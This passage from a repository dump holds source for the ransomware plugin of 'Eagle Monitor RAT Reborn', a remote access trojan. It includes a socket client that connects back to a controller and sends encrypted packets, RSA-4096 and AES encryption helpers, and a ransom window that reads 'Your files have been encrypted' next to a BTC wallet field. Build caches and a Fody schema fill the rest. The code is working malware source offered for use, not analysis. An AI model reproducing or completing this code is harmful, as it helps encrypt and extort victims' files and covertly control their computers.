Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ProcessManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Encryption/Encrypted.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin.Encryption\n{\n    internal class Encrypted\n    {\n        public Dictionary<string, string> encryptedData { get; set; }\n        public List<string> clientRSAPrivate { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Encryption/RSA.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Security.Cryptography;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin.Encryption\n{\n    internal class RSA\n    {\n        internal static byte[] RSAEncrypt(byte[] data, string strPublicKey)\n        {\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n            rsa.FromXmlString(strPublicKey);\n            byte[] byteEntry = rsa.Encrypt(data, false);\n            return byteEntry;\n        }\n\n        internal static byte[] RSADecrypt(byte[] data, string strPrivateKey)\n        {\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n            rsa.FromXmlString(strPrivateKey);\n            byte[] byteEntry = rsa.Decrypt(data, false);\n            return byteEntry;\n        }\n\n        internal static Dictionary<string, string> GetKey()\n        {\n            Dictionary<string, string> dictKey = new Dictionary<string, string>();\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n\n            dictKey.Add(\"PublicKey\", rsa.ToXmlString(false));\n            dictKey.Add(\"PrivateKey\", rsa.ToXmlString(true));\n\n            return dictKey;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/Encryption/RSM.cs",
    "content": "﻿using System;\nusing System.Security.Cryptography;\n\n/* \n|| AUTHOR https://bhf.im/threads/438711/ ||\n|| Note : set padding to Zeros to fix Invalid Padding : ttps://stackoverflow.com/questions/8583112/padding-is-invalid-and-cannot-be-removed ||\n*/\n\nnamespace Plugin.Encryption\n{\n    internal class RSM\n    {\n        public static byte[] RSMEncrypt(byte[] input, byte[] key)\n        {\n            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[8], 1);\n\n            AesManaged rijndaelManaged = new AesManaged\n            {\n                Mode = CipherMode.CBC,\n\n                Padding = PaddingMode.Zeros,\n\n                Key = rfc2898DeriveBytes.GetBytes(16),\n\n                IV = rfc2898DeriveBytes.GetBytes(16)\n            };\n\n            byte[] array = new byte[input.Length + 16];\n\n            Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, array, 0, 16);\n\n            Buffer.BlockCopy(input, 0, array, 16, input.Length);\n\n            return rijndaelManaged.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);\n        }\n\n        public static byte[] RSMDecrypt(byte[] data, byte[] key)\n        {\n            Rfc2898DeriveBytes R = new Rfc2898DeriveBytes(key, new byte[8], 1);\n\n            AesManaged rijndaelManaged = new AesManaged\n            {\n                Mode = CipherMode.CBC,\n\n                Padding = PaddingMode.Zeros,\n\n                Key = R.GetBytes(16),\n\n                IV = R.GetBytes(16)\n            };\n\n            byte[] O = rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);\n\n            byte[] U = new byte[O.Length - 16];\n\n            Buffer.BlockCopy(O, 16, U, 0, O.Length - 16);\n\n            return U;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/FormTemplate.cs",
    "content": "﻿using System.Windows.Forms;\n\nnamespace Plugin\n{\n    internal class FormTemplate : Form\n\t{\n\t\tpublic FormTemplate(string name)\n\t\t{\n\t\t\tthis.Name = name;\n\t\t\tthis.Text = name;\n\t\t}\n\n\t\tprotected override void Dispose(bool disposing)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (disposing && components != null)\n\t\t\t\t{\n\t\t\t\t\tcomponents.Dispose();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\tbase.Dispose(disposing);\n\t\t\t}\n\t\t}\n\n        private TextBox textBox1;\n        private TextBox textBox2;\n        private System.ComponentModel.IContainer components;\n\n\t\tpublic void InitializeComponent()\n\t\t{\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormTemplate));\n            this.textBox1 = new System.Windows.Forms.TextBox();\n            this.textBox2 = new System.Windows.Forms.TextBox();\n            this.SuspendLayout();\n            // \n            // textBox1\n            // \n            this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.textBox1.Font = new System.Drawing.Font(\"Microsoft Sans Serif\", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.textBox1.Location = new System.Drawing.Point(0, 0);\n            this.textBox1.Multiline = true;\n            this.textBox1.Name = \"textBox1\";\n            this.textBox1.Size = new System.Drawing.Size(733, 452);\n            this.textBox1.TabIndex = 0;\n            this.textBox1.Text = \"Your files have been encrypted with EM-RAT ransomware feature.\";\n            this.textBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // textBox2\n            // \n            this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom;\n            this.textBox2.Font = new System.Drawing.Font(\"Microsoft Sans Serif\", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.textBox2.Location = new System.Drawing.Point(0, 452);\n            this.textBox2.Name = \"textBox2\";\n            this.textBox2.Size = new System.Drawing.Size(733, 15);\n            this.textBox2.TabIndex = 1;\n            this.textBox2.Text = \"BTC Wallet : 1111111\";\n            // \n            // FormTemplate\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.White;\n            this.ClientSize = new System.Drawing.Size(733, 467);\n            this.Controls.Add(this.textBox1);\n            this.Controls.Add(this.textBox2);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.Name = \"FormTemplate\";\n            this.ShowInTaskbar = false;\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Ransomware/FormTemplate.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        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\n        